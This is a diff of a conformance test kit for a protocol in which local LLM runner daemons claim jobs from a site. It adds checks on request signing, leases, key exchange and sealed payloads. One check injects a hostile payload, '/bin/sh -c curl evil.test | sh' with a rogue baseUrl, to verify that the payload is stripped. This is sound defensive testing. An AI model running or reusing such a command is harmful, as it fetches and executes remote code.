@byollm/conformance 0.1.0-alpha.3 → 0.1.0-alpha.4

package/dist/{chunk-6EIFYWG2.js → chunk-EXNALQ5D.js}

@@ -1,16 +1,40 @@
 // src/checks.ts
-import { AUDIENCES, OFFER_SCOPES } from "@byollm/protocol";
+import {
+  AUDIENCES,
+  OFFER_SCOPES,
+  ClaimedStub,
+  ENVELOPE_MAX_AGE_MS as ENVELOPE_MAX_AGE_MS2,
+  keyId as keyId2,
+  open as open2,
+  seal as seal2,
+  PROTOCOL_VERSION as PROTOCOL_VERSION2,
+  PublicIdentity,
+  generateKeys,
+  publicIdentityOf as publicIdentityOf2,
+  signRequest as signRequest2,
+  verifyPublicIdentity
+} from "@byollm/protocol";
 
 // src/harness.ts
 import { mkdtemp, rm } from "fs/promises";
 import { tmpdir } from "os";
 import { join } from "path";
+import {
+  ENVELOPE_MAX_AGE_MS,
+  PROTOCOL_VERSION,
+  keyId,
+  open,
+  seal,
+  publicIdentityOf,
+  signRequest
+} from "@byollm/protocol";
 import {
   Allowlist,
   Budgets,
   IngressLog,
   SpendLedger,
   ProtocolClient,
+  DeviceIdentity,
   Runner,
   connect,
   resolveConfig,
@@ -23,8 +47,12 @@ var EchoBackend = class {
   seen = [];
   /** Set to make the next call hang, for lease and cancel checks. */
   hangMs = 0;
+  /** Set false to simulate the model not being installed or not running. */
+  healthy = true;
+  /** What the backend reports it can serve. Empty means "does not enumerate". */
+  models = ["echo-model"];
   health() {
-    return Promise.resolve({ healthy: true, models: ["echo-model"] });
+    return Promise.resolve({ healthy: this.healthy, models: this.models });
   }
   async execute(request) {
     this.seen.push(request.prompt);
@@ -124,9 +152,11 @@ async function pairDaemon(target, options) {
   let userCode = "";
   const pairingAbort = new AbortController();
   let pairingError;
+  const deviceIdentity = new DeviceIdentity(join(home, "keys.json"));
   const pairing = connect({
     client: pairingClient,
     daemonVersion: "conformance",
+    device: await deviceIdentity.publicIdentity(Date.now()),
     label: options.label ?? `daemon-${options.owner}`,
     capabilities,
     onCode: (info) => {
@@ -161,11 +191,21 @@ async function pairDaemon(target, options) {
   const runner = new Runner({
     client: new ProtocolClient({
       origin: target.origin,
-      token: result.pairing.token,
+      // The harness signs exactly as a daemon does, so certification
+      // exercises the real verification path.
+      identity: {
+        runnerId: result.pairing.runnerId,
+        sign: (input) => deviceIdentity.signRequest(input)
+      },
       fetch: fetchImpl
     }),
     runnerId: result.pairing.runnerId,
     owner: result.pairing.owner,
+    identity: {
+      keys: () => deviceIdentity.load(Date.now()),
+      // Pinned at pairing, exactly as a real daemon does.
+      sitePinned: result.pairing.site
+    },
     daemonVersion: "conformance",
     loaded,
     allowlist,
@@ -180,6 +220,10 @@ async function pairDaemon(target, options) {
     allowlist,
     runnerId: result.pairing.runnerId,
     owner: result.pairing.owner,
+    token: result.pairing.token,
+    keys: await deviceIdentity.load(Date.now()),
+    identityKeys: () => deviceIdentity.load(Date.now()),
+    sitePinned: result.pairing.site,
     home,
     ingress,
     spend,
@@ -190,10 +234,10 @@ async function pairDaemon(target, options) {
         timeoutMs: 2e3,
         what: "in-flight jobs to unwind"
       }).catch(() => void 0);
-      await rm(home, { recursive: true, force: true });
+      await removeHome(home);
     },
     abandon: async () => {
-      await rm(home, { recursive: true, force: true });
+      await removeHome(home);
     }
   };
 }
@@ -217,14 +261,208 @@ async function waitFor(predicate, options = {}) {
 function sleep(ms) {
   return new Promise((resolve) => setTimeout(resolve, ms));
 }
+var MAX_REAL_WAIT_MS = 3e4;
 async function advance(target, ms) {
   if (target.advanceTime) {
     await target.advanceTime(ms);
   } else {
+    if (ms > MAX_REAL_WAIT_MS) {
+      throw new Error(
+        `this check needs to advance ${String(Math.round(ms / 1e3))}s and "${target.name}" cannot fake time, so it would sleep for real. Configure a shorter TTL on the target, or give it advanceTime().`
+      );
+    }
     await sleep(ms);
   }
   await target.sweep();
 }
+async function claimOne(target, daemon) {
+  const capabilities = await daemon.runner.detectCapabilities();
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    capabilities,
+    max: 1
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "claim",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  const response = await target.fetch(
+    new Request(`${target.origin}/byollm/claim`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+  if (response.status !== 200) {
+    throw new Error(`claim answered ${String(response.status)}`);
+  }
+  const parsed = await response.json();
+  const job = parsed.jobs[0];
+  if (!job) throw new Error("claim returned no jobs");
+  return job;
+}
+async function releaseLease(target, daemon, jobId, leaseId) {
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    leases: [{ jobId, leaseId }],
+    reason: "backend-down"
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "release",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  return target.fetch(
+    new Request(`${target.origin}/byollm/release`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+}
+async function fetchPayload(target, daemon, jobId, leaseId) {
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    jobId,
+    leaseId
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "fetch",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  const response = await target.fetch(
+    new Request(`${target.origin}/byollm/fetch`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+  if (response.status !== 200) return null;
+  const raw = await response.json();
+  const keys = await daemon.identityKeys();
+  const opened = await open({
+    envelope: raw.envelope,
+    recipientKeys: keys,
+    senderIdentityPublic: daemon.sitePinned.identity,
+    expected: {
+      jobId,
+      senderKeyId: keyId(daemon.sitePinned.identity),
+      recipientKeyId: keyId(publicIdentityOf(keys).identity),
+      direction: "payload"
+    }
+  });
+  return {
+    raw,
+    opened: opened.ok ? JSON.parse(opened.plaintext) : null
+  };
+}
+async function postResult(target, daemon, input) {
+  const keys = await daemon.identityKeys();
+  const sealer = input.sealWith ?? keys;
+  const envelope = await seal({
+    plaintext: JSON.stringify(input.outcome),
+    senderKeys: sealer,
+    recipientEncryptionPublic: daemon.sitePinned.encryption,
+    context: {
+      jobId: input.jobId,
+      // Always the *device's* key id, even when a relay sealed it: an
+      // attacker naming itself would be refused for the wrong reason, and
+      // this check exists to prove the signature is what refuses it.
+      senderKeyId: keyId(publicIdentityOf(keys).identity),
+      recipientKeyId: keyId(daemon.sitePinned.identity),
+      deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS,
+      direction: "result"
+    }
+  });
+  const body = JSON.stringify({
+    protocolVersion: PROTOCOL_VERSION,
+    runnerId: daemon.runnerId,
+    jobId: input.jobId,
+    envelope,
+    disposition: input.disposition ?? input.outcome.outcome,
+    model: "conformance-model",
+    backendClass: "http",
+    durationMs: 1
+  });
+  const signature = signRequest(daemon.keys, {
+    endpoint: "result",
+    runnerId: daemon.runnerId,
+    issuedAt: Date.now(),
+    body
+  });
+  return target.fetch(
+    new Request(`${target.origin}/byollm/result`, {
+      method: "POST",
+      headers: {
+        "content-type": "application/json",
+        "x-byollm-runner": signature.runnerId,
+        "x-byollm-issued-at": String(signature.issuedAt),
+        "x-byollm-signature": signature.signature
+      },
+      body
+    })
+  );
+}
+async function removeHome(home) {
+  for (let attempt = 0; attempt < 3; attempt += 1) {
+    try {
+      await rm(home, { recursive: true, force: true });
+      return;
+    } catch {
+      await sleep(20);
+    }
+  }
+  await rm(home, { recursive: true, force: true }).catch(() => void 0);
+}
+async function fetchGenuine(target, daemon, owner = "alice") {
+  const marker = "genuine work";
+  await target.enqueue({
+    kind: "llm.generate",
+    payload: { prompt: marker },
+    // The target's own name for the user, not the id it mapped that to —
+    // passing a mapped id back in addresses a user the target never made.
+    owner,
+    audience: "self"
+  });
+  for (let attempt = 0; attempt < 20; attempt += 1) {
+    try {
+      const stub = await claimOne(target, daemon);
+      const fetched = await fetchPayload(
+        target,
+        daemon,
+        stub.id,
+        stub.lease.id
+      );
+      return JSON.stringify(fetched?.opened ?? {}).includes(marker);
+    } catch {
+      await sleep(50);
+    }
+  }
+  return false;
+}
 
 // src/checks.ts
 function assert(condition, message) {
@@ -756,27 +994,29 @@ var CHECKS = [
   },
   {
     id: "C015_INGRESS_BEFORE_EXECUTION",
-    title: "every executed prompt is in the ingress log",
+    title: "every executed prompt is in the ingress log before it runs",
     musts: ["INGRESS_LOGGED_BEFORE_EXECUTION"],
     async run(target) {
       const daemon = await pairDaemon(target, { owner: "alice" });
+      let ticking = Promise.resolve();
       try {
+        daemon.backend.hangMs = 3e4;
         const job = await target.enqueue({
           kind: "llm.generate",
           payload: prompt("logged prompt"),
           owner: "alice"
         });
-        await daemon.runner.tick();
-        await waitFor(async () => (await target.job(job.id))?.state === "ok", {
-          what: "the job to complete"
+        ticking = daemon.runner.tick().catch(() => void 0);
+        await waitFor(() => Promise.resolve(daemon.backend.seen.length > 0), {
+          what: "the backend to be called"
         });
-        const entries = await daemon.ingress.read();
-        const logged = entries.find(
+        const during = await daemon.ingress.read();
+        const logged = during.find(
           (entry) => entry.type === "prompt" && entry.jobId === job.id
         );
         assert(
           logged !== void 0,
-          "the executed prompt is not in the ingress log"
+          "a prompt reached the backend before it reached the ingress log"
         );
         assert(
           logged.type === "prompt" && logged.prompt === "logged prompt",
@@ -784,6 +1024,7 @@ var CHECKS = [
         );
       } finally {
         await daemon.dispose();
+        await ticking;
       }
     }
   },
@@ -952,11 +1193,628 @@ var CHECKS = [
         await bob.dispose();
       }
     }
+  },
+  {
+    id: "C019_CLAIM_ATOMIC",
+    title: "two runners racing one job \u2014 exactly one gets it",
+    musts: ["CLAIM_ATOMIC"],
+    async run(target) {
+      const a = await pairDaemon(target, { owner: "alice", label: "laptop" });
+      const b = await pairDaemon(target, { owner: "alice", label: "desktop" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("only once, please"),
+          owner: "alice",
+          audience: "self"
+        });
+        await Promise.all([a.runner.tick(), b.runner.tick()]);
+        await waitFor(async () => (await target.job(job.id))?.state === "ok", {
+          what: "the contested job to finish"
+        });
+        const ran = a.backend.seen.length + b.backend.seen.length;
+        assert(
+          ran === 1,
+          `the job ran ${String(ran)} times across two runners, not once`
+        );
+      } finally {
+        await a.dispose();
+        await b.dispose();
+      }
+    }
+  },
+  {
+    id: "C020_PAIR_CODE_EXPIRES",
+    title: "an expired device code cannot be redeemed",
+    musts: ["PAIR_CODE_EXPIRES"],
+    async run(target) {
+      const started = await target.fetch(
+        new Request(`${target.origin}/byollm/pair`, {
+          method: "POST",
+          headers: { "content-type": "application/json" },
+          body: JSON.stringify({
+            protocolVersion: PROTOCOL_VERSION2,
+            action: "start",
+            device: publicIdentityOf2(generateKeys(Date.now())),
+            daemon: {
+              version: "conformance",
+              label: "expiring-daemon",
+              platform: "linux"
+            },
+            capabilities: []
+          })
+        })
+      );
+      assert(started.status === 200, "pair start did not answer 200");
+      const pairing = await started.json();
+      await advance(target, pairing.expiresAt - Date.now() + 1e3);
+      let approved = true;
+      try {
+        await target.approvePairing(pairing.userCode, "alice");
+      } catch {
+        approved = false;
+      }
+      const polled = await target.fetch(
+        new Request(`${target.origin}/byollm/pair`, {
+          method: "POST",
+          headers: { "content-type": "application/json" },
+          body: JSON.stringify({
+            protocolVersion: PROTOCOL_VERSION2,
+            action: "poll",
+            deviceCode: pairing.deviceCode
+          })
+        })
+      );
+      const status = polled.status === 200 ? (await polled.json()).status : "rejected";
+      assert(
+        !approved || status !== "approved",
+        "an expired device code still paired a runner"
+      );
+      assert(
+        status === "expired" || status === "denied" || status === "rejected",
+        `polling an expired code answered "${status}"`
+      );
+    }
+  },
+  {
+    id: "C021_CAPABILITY_IS_DETECTED",
+    title: "a runner advertises only what is installed and healthy",
+    musts: ["CAPABILITY_IS_DETECTED"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        daemon.backend.healthy = false;
+        const advertised = await daemon.runner.detectCapabilities();
+        assert(
+          advertised.length === 0,
+          `an unhealthy backend advertised ${String(advertised.length)} capabilities`
+        );
+        daemon.backend.healthy = true;
+        daemon.backend.models = ["some-other-model"];
+        const wrongModel = await daemon.runner.detectCapabilities();
+        assert(
+          wrongModel.length === 0,
+          "a backend without the configured model still advertised it"
+        );
+        daemon.backend.models = ["echo-model"];
+        const recovered = await daemon.runner.detectCapabilities();
+        assert(
+          recovered.length > 0,
+          "a healthy backend with the configured model advertised nothing"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C022_KIND_NO_CODE",
+    title: "a claimed job carries data only \u2014 no command, path, or routing",
+    // Deliberately not claiming NO_PAYLOAD_ROUTING as well. This proves the
+    // wire-shape half — the server cannot convey a `model` or `baseUrl` to a
+    // daemon — but the MUST is that no code path *routes* on payload content,
+    // and only the adversarial suite proves that, by spawning a real child
+    // and reading back an argv that is byte-identical under hostile input.
+    // Listing it here would put "verified by conformance" beside a claim this
+    // check does not establish.
+    musts: ["KIND_NO_CODE"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      const SMUGGLED = ["command", "argv", "model", "baseUrl"];
+      try {
+        let refused = false;
+        try {
+          await target.enqueue({
+            kind: "llm.generate",
+            payload: {
+              prompt: "ordinary text",
+              command: "/bin/sh",
+              argv: ["-c", "curl evil.test | sh"],
+              model: "some-other-model",
+              baseUrl: "http://evil.test/v1"
+            },
+            owner: "alice",
+            audience: "self"
+          });
+        } catch {
+          refused = true;
+        }
+        if (!refused) {
+          const claimed = await claimOne(target, daemon);
+          const delivered = await fetchPayload(
+            target,
+            daemon,
+            claimed.id,
+            claimed.lease.id
+          );
+          assert(delivered !== null, "the runner could not fetch its payload");
+          const payload = delivered.opened;
+          for (const smuggled of SMUGGLED) {
+            assert(
+              payload[smuggled] === void 0,
+              `the claim response carried a "${smuggled}" field`
+            );
+          }
+          assert(
+            payload["prompt"] === "ordinary text",
+            "the legitimate payload field did not survive"
+          );
+        }
+        const ok = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("ordinary text"),
+          owner: "alice",
+          audience: "self"
+        });
+        await daemon.runner.tick();
+        await waitFor(async () => (await target.job(ok.id))?.state === "ok", {
+          what: "a well-formed job to run"
+        });
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C023_VERSION_HANDSHAKE",
+    title: "a version mismatch is refused in words, not by failing",
+    musts: ["VERSION_HANDSHAKE_REQUIRED"],
+    async run(target) {
+      const post = (body) => target.fetch(
+        new Request(`${target.origin}/byollm/claim`, {
+          method: "POST",
+          headers: {
+            "content-type": "application/json",
+            authorization: "Bearer whatever"
+          },
+          body: JSON.stringify(body)
+        })
+      );
+      for (const [label, body] of [
+        ["a version from the future", { protocolVersion: "99", max: 1 }],
+        ["no version at all", { max: 1 }],
+        ["a non-string version", { protocolVersion: 0, max: 1 }]
+      ]) {
+        const response = await post(body);
+        const parsed = await response.json();
+        assert(
+          parsed.error === "unsupported-protocol-version",
+          `${label}: answered "${parsed.error ?? "nothing"}" rather than unsupported-protocol-version`
+        );
+        assert(
+          Array.isArray(parsed.supported) && parsed.supported.length > 0,
+          `${label}: the refusal did not say what the server supports`
+        );
+        assert(
+          (parsed.message ?? "").length > 20,
+          `${label}: the refusal carried no usable message`
+        );
+      }
+      const authed = await post({ protocolVersion: PROTOCOL_VERSION2, max: 1 });
+      assert(
+        authed.status === 400 || authed.status === 401,
+        `a supported version with a bad token answered ${String(authed.status)}`
+      );
+    }
+  },
+  {
+    id: "C024_KEY_EXCHANGE",
+    title: "pairing exchanges identities, verifies them, and reveals nothing early",
+    musts: ["KEYS_EXCHANGED_AT_CONSENT"],
+    async run(target) {
+      const start = async (device) => target.fetch(
+        new Request(`${target.origin}/byollm/pair`, {
+          method: "POST",
+          headers: { "content-type": "application/json" },
+          body: JSON.stringify({
+            protocolVersion: PROTOCOL_VERSION2,
+            action: "start",
+            daemon: {
+              version: "conformance",
+              label: "key-exchange",
+              platform: "linux"
+            },
+            device,
+            capabilities: []
+          })
+        })
+      );
+      const honest = publicIdentityOf2(generateKeys(Date.now()));
+      const attacker = publicIdentityOf2(generateKeys(Date.now()));
+      const forged = await start({
+        ...honest,
+        encryption: attacker.encryption
+      });
+      assert(
+        forged.status >= 400,
+        `a device with an unsigned encryption key paired anyway (${String(forged.status)})`
+      );
+      const started = await start(honest);
+      assert(
+        started.status === 200,
+        "an honest device could not start pairing"
+      );
+      const pairing = await started.json();
+      const poll = async () => {
+        const response = await target.fetch(
+          new Request(`${target.origin}/byollm/pair`, {
+            method: "POST",
+            headers: { "content-type": "application/json" },
+            body: JSON.stringify({
+              protocolVersion: PROTOCOL_VERSION2,
+              action: "poll",
+              deviceCode: pairing.deviceCode
+            })
+          })
+        );
+        return await response.json();
+      };
+      const pending = await poll();
+      assert(
+        pending["site"] === void 0,
+        "a pending poll disclosed the site's keys before anyone approved"
+      );
+      await target.approvePairing(pairing.userCode, "alice");
+      const approved = await poll();
+      assert(
+        approved["status"] === "approved",
+        `poll after approval said "${String(approved["status"])}"`
+      );
+      const site = PublicIdentity.safeParse(approved["site"]);
+      assert(site.success, "the approval carried no usable site identity");
+      assert(
+        verifyPublicIdentity(site.data),
+        "the site's encryption key is not signed by the identity it presented"
+      );
+    }
+  },
+  {
+    id: "C025_SIGNED_REQUESTS",
+    title: "authentication is a signature over the request, not a secret",
+    musts: ["REQUESTS_SIGNED_NOT_BEARER"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const body = JSON.stringify({
+          protocolVersion: PROTOCOL_VERSION2,
+          runnerId: daemon.runnerId,
+          capabilities: await daemon.runner.detectCapabilities(),
+          max: 1
+        });
+        const post = (headers) => target.fetch(
+          new Request(`${target.origin}/byollm/claim`, {
+            method: "POST",
+            headers: { "content-type": "application/json", ...headers },
+            body
+          })
+        );
+        const sign = (over = {}) => signRequest2(daemon.keys, {
+          endpoint: over.endpoint ?? "claim",
+          runnerId: daemon.runnerId,
+          issuedAt: Date.now(),
+          body: over.body ?? body
+        });
+        const headersFor = (s) => ({
+          "x-byollm-runner": s.runnerId,
+          "x-byollm-issued-at": String(s.issuedAt),
+          "x-byollm-signature": s.signature
+        });
+        assert(
+          (await post(headersFor(sign()))).status === 200,
+          "a correctly signed request was refused"
+        );
+        assert(
+          (await post({})).status === 401,
+          "an unsigned request was accepted"
+        );
+        assert(
+          (await post(headersFor(sign({ body: '{"other":true}' })))).status === 401,
+          "a signature over different bytes was accepted"
+        );
+        assert(
+          (await post(headersFor(sign({ endpoint: "release" })))).status === 401,
+          "a signature for another endpoint was accepted"
+        );
+        const stranger = signRequest2(generateKeys(Date.now()), {
+          endpoint: "claim",
+          runnerId: daemon.runnerId,
+          issuedAt: Date.now(),
+          body
+        });
+        assert(
+          (await post(headersFor(stranger))).status === 401,
+          "a signature from an unpinned key was accepted"
+        );
+        const stale = signRequest2(daemon.keys, {
+          endpoint: "claim",
+          runnerId: daemon.runnerId,
+          issuedAt: Date.now() - 864e5,
+          body
+        });
+        assert(
+          (await post(headersFor(stale))).status === 401,
+          "a signature from a day ago was accepted"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C026_LEASE_SCOPED_RELEASE",
+    title: "a release acts on the lease it names, not whatever lease exists",
+    musts: ["LEASE_SCOPED_BY_GRANT"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("run me once"),
+          owner: "alice",
+          audience: "self"
+        });
+        const first = await claimOne(target, daemon);
+        assert(
+          typeof first.lease.id === "string" && first.lease.id.length > 0,
+          "a claimed job arrived without a lease id \u2014 nothing can be scoped to it"
+        );
+        await releaseLease(target, daemon, job.id, first.lease.id);
+        const second = await claimOne(target, daemon);
+        assert(
+          second.lease.id !== first.lease.id,
+          "re-claiming the same job reused the lease id, so the two grants are indistinguishable"
+        );
+        await releaseLease(target, daemon, job.id, first.lease.id);
+        const state = await target.job(job.id);
+        assert(
+          state?.state === "claimed" || state?.state === "running",
+          `a replayed release returned the job to "${String(state?.state)}" while it was held`
+        );
+        await releaseLease(target, daemon, job.id, second.lease.id);
+        assert(
+          (await target.job(job.id))?.state === "queued",
+          "releasing the current lease did not return the job to the queue"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C027_CLAIM_ANSWERS_WITH_STUBS",
+    title: "a claim carries routing metadata and no work",
+    musts: ["STUB_METADATA_EXHAUSTIVE"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt("this must not appear in a claim response"),
+          owner: "alice",
+          audience: "self"
+        });
+        const stub = await claimOne(target, daemon);
+        const asRecord = stub;
+        assert(
+          asRecord["payload"] === void 0,
+          "the claim response carried the payload"
+        );
+        assert(
+          !JSON.stringify(stub).includes("this must not appear"),
+          "the prompt text appeared somewhere in the claim response"
+        );
+        const parsed = ClaimedStub.safeParse(stub);
+        assert(
+          parsed.success,
+          `the claim response is not a valid stub: ${parsed.success ? "" : parsed.error.issues.map((i) => i.path.join(".")).join(", ")}`
+        );
+        assert(
+          ["small", "medium", "large", "unbounded"].includes(
+            String(asRecord["sizeClass"])
+          ),
+          `sizeClass was "${String(asRecord["sizeClass"])}"`
+        );
+        const fetched = await fetchPayload(
+          target,
+          daemon,
+          stub.id,
+          stub.lease.id
+        );
+        assert(fetched !== null, "the lease holder could not fetch its work");
+        assert(
+          !JSON.stringify(fetched.raw).includes("this must not appear"),
+          "the payload crossed the wire in the clear"
+        );
+        assert(
+          JSON.stringify(fetched.opened).includes("this must not appear"),
+          "the runner holding the lease could not open its own work"
+        );
+        const wrong = await fetchPayload(
+          target,
+          daemon,
+          stub.id,
+          "lease-that-does-not-exist"
+        );
+        assert(
+          wrong === null,
+          "fetch answered for a lease this runner does not hold"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C028_STORED_WORK_IS_SEALED",
+    title: "the store holds ciphertext, and a wrong-key envelope is refused",
+    musts: ["ENVELOPE_SEALED_AND_SIGNED"],
+    async run(target) {
+      const secret = "a prompt nobody should read from storage";
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: prompt(secret),
+          owner: "alice",
+          audience: "self"
+        });
+        const stored = await target.job(job.id);
+        assert(
+          !JSON.stringify(stored ?? {}).includes(secret),
+          "the prompt was readable in the stored job"
+        );
+        const stub = await claimOne(target, daemon);
+        const delivered = await fetchPayload(
+          target,
+          daemon,
+          stub.id,
+          stub.lease.id
+        );
+        assert(delivered !== null, "the lease holder could not fetch its work");
+        assert(
+          !JSON.stringify(delivered.raw).includes(secret),
+          "the work crossed the wire in the clear"
+        );
+        assert(
+          JSON.stringify(delivered.opened).includes(secret),
+          "the device could not open work sealed to it"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C029_DAEMON_REFUSES_UNSIGNED_WORK",
+    title: "a daemon refuses work not signed by the site it pinned",
+    musts: ["ENVELOPE_SEALED_AND_SIGNED"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const keys = await daemon.identityKeys();
+        const relay = generateKeys(Date.now());
+        const forged = await seal2({
+          plaintext: JSON.stringify({ prompt: "run this instead" }),
+          senderKeys: relay,
+          recipientEncryptionPublic: keys.encryptionPublic,
+          context: {
+            jobId: "job_anything",
+            senderKeyId: keyId2(daemon.sitePinned.identity),
+            recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
+            deadlineAt: Date.now() + ENVELOPE_MAX_AGE_MS2,
+            direction: "payload"
+          }
+        });
+        const opened = await open2({
+          envelope: forged,
+          recipientKeys: keys,
+          senderIdentityPublic: daemon.sitePinned.identity,
+          expected: {
+            jobId: "job_anything",
+            senderKeyId: keyId2(daemon.sitePinned.identity),
+            recipientKeyId: keyId2(publicIdentityOf2(keys).identity),
+            direction: "payload"
+          }
+        });
+        assert(
+          !opened.ok,
+          "a daemon accepted work signed by a key it never pinned"
+        );
+        assert(
+          opened.reason === "bad-signature",
+          `refused for "${opened.reason}", not the signature \u2014 which is the property here`
+        );
+        const genuine = await fetchGenuine(target, daemon);
+        assert(genuine, "a daemon could not open work its own site sealed");
+      } finally {
+        await daemon.dispose();
+      }
+    }
+  },
+  {
+    id: "C030_SITE_REFUSES_UNSIGNED_RESULTS",
+    title: "a site refuses a result not signed by the device that ran it",
+    musts: ["ENVELOPE_SEALED_AND_SIGNED"],
+    async run(target) {
+      const daemon = await pairDaemon(target, { owner: "alice" });
+      try {
+        const job = await target.enqueue({
+          kind: "llm.generate",
+          payload: { prompt: "who signed this" },
+          owner: "alice"
+        });
+        const claimed = await claimOne(target, daemon);
+        assert(claimed.id === job.id, "the harness could not claim its job");
+        const relay = generateKeys(Date.now());
+        const forged = await postResult(target, daemon, {
+          jobId: job.id,
+          outcome: { outcome: "ok", text: "an answer the device never gave" },
+          sealWith: relay
+        });
+        assert(
+          forged.status !== 200,
+          "a site accepted a result signed by a key it never approved"
+        );
+        const afterForgery = await target.job(job.id);
+        assert(
+          afterForgery?.outcome === void 0,
+          "a refused result still reached the app"
+        );
+        const real = await postResult(target, daemon, {
+          jobId: job.id,
+          outcome: { outcome: "ok", text: "the genuine answer" }
+        });
+        assert(
+          real.status === 200,
+          `a site refused a result its own device sealed (${String(real.status)})`
+        );
+        const lying = await postResult(target, daemon, {
+          jobId: job.id,
+          outcome: {
+            outcome: "error",
+            code: "backend-error",
+            message: "it actually failed",
+            retryable: false
+          },
+          disposition: "ok"
+        });
+        assert(
+          lying.status !== 200,
+          "a site believed a disposition the sealed outcome contradicted"
+        );
+      } finally {
+        await daemon.dispose();
+      }
+    }
   }
 ];
 
 // src/certify.ts
-import { MUSTS, MUST_IDS } from "@byollm/protocol";
+import {
+  MUSTS,
+  MUST_IDS,
+  mustsVerifiedBy
+} from "@byollm/protocol";
 async function certify(target, options = {}) {
   const only = options.only;
   const selected = only ? CHECKS.filter((check) => only.includes(check.id)) : CHECKS;
@@ -993,8 +1851,12 @@ async function certify(target, options = {}) {
 }
 function uncoveredMusts(checks = CHECKS) {
   const covered = new Set(checks.flatMap((check) => check.musts));
-  return MUST_IDS.filter((id) => !covered.has(id));
+  return mustsVerifiedBy("conformance").filter((id) => !covered.has(id));
 }
+function miscoveredMusts(checks = CHECKS) {
+  return [...new Set(checks.flatMap((check) => check.musts))].filter((id) => MUSTS[id].verifiedBy !== "conformance").sort();
+}
+var VERIFICATION_NOTE = "(`adversarial` = proved by the reference daemon's own suites; `construction` = true by code shape; `operator` = a deployment claim, verifiable only by audit or source. None is asserted by this run.)";
 function formatReport(report) {
   const lines = [];
   lines.push(`byollm conformance \u2014 ${report.target}`);
@@ -1014,11 +1876,24 @@ function formatReport(report) {
   );
   if (report.uncoveredMusts.length > 0) {
     lines.push("");
-    lines.push("  MUSTs with no check yet (the kit is honest about its gaps):");
+    lines.push("  MUSTs this kit can assert but does not yet:");
     for (const id of report.uncoveredMusts) {
       lines.push(`    - ${id}: ${MUSTS[id].statement}`);
     }
   }
+  const elsewhere = MUST_IDS.filter(
+    (id) => MUSTS[id].verifiedBy !== "conformance"
+  );
+  if (elsewhere.length > 0) {
+    lines.push("");
+    lines.push("  Verified elsewhere, not by this kit:");
+    for (const kind of ["adversarial", "construction", "operator"]) {
+      const ids = elsewhere.filter((id) => MUSTS[id].verifiedBy === kind);
+      if (ids.length === 0) continue;
+      lines.push(`    ${kind}: ${ids.join(", ")}`);
+    }
+    lines.push(`    ${VERIFICATION_NOTE}`);
+  }
   return `${lines.join("\n")}
 `;
 }
@@ -1033,6 +1908,7 @@ export {
   CHECKS,
   certify,
   uncoveredMusts,
+  miscoveredMusts,
   formatReport
 };
-//# sourceMappingURL=chunk-6EIFYWG2.js.map
+//# sourceMappingURL=chunk-EXNALQ5D.js.map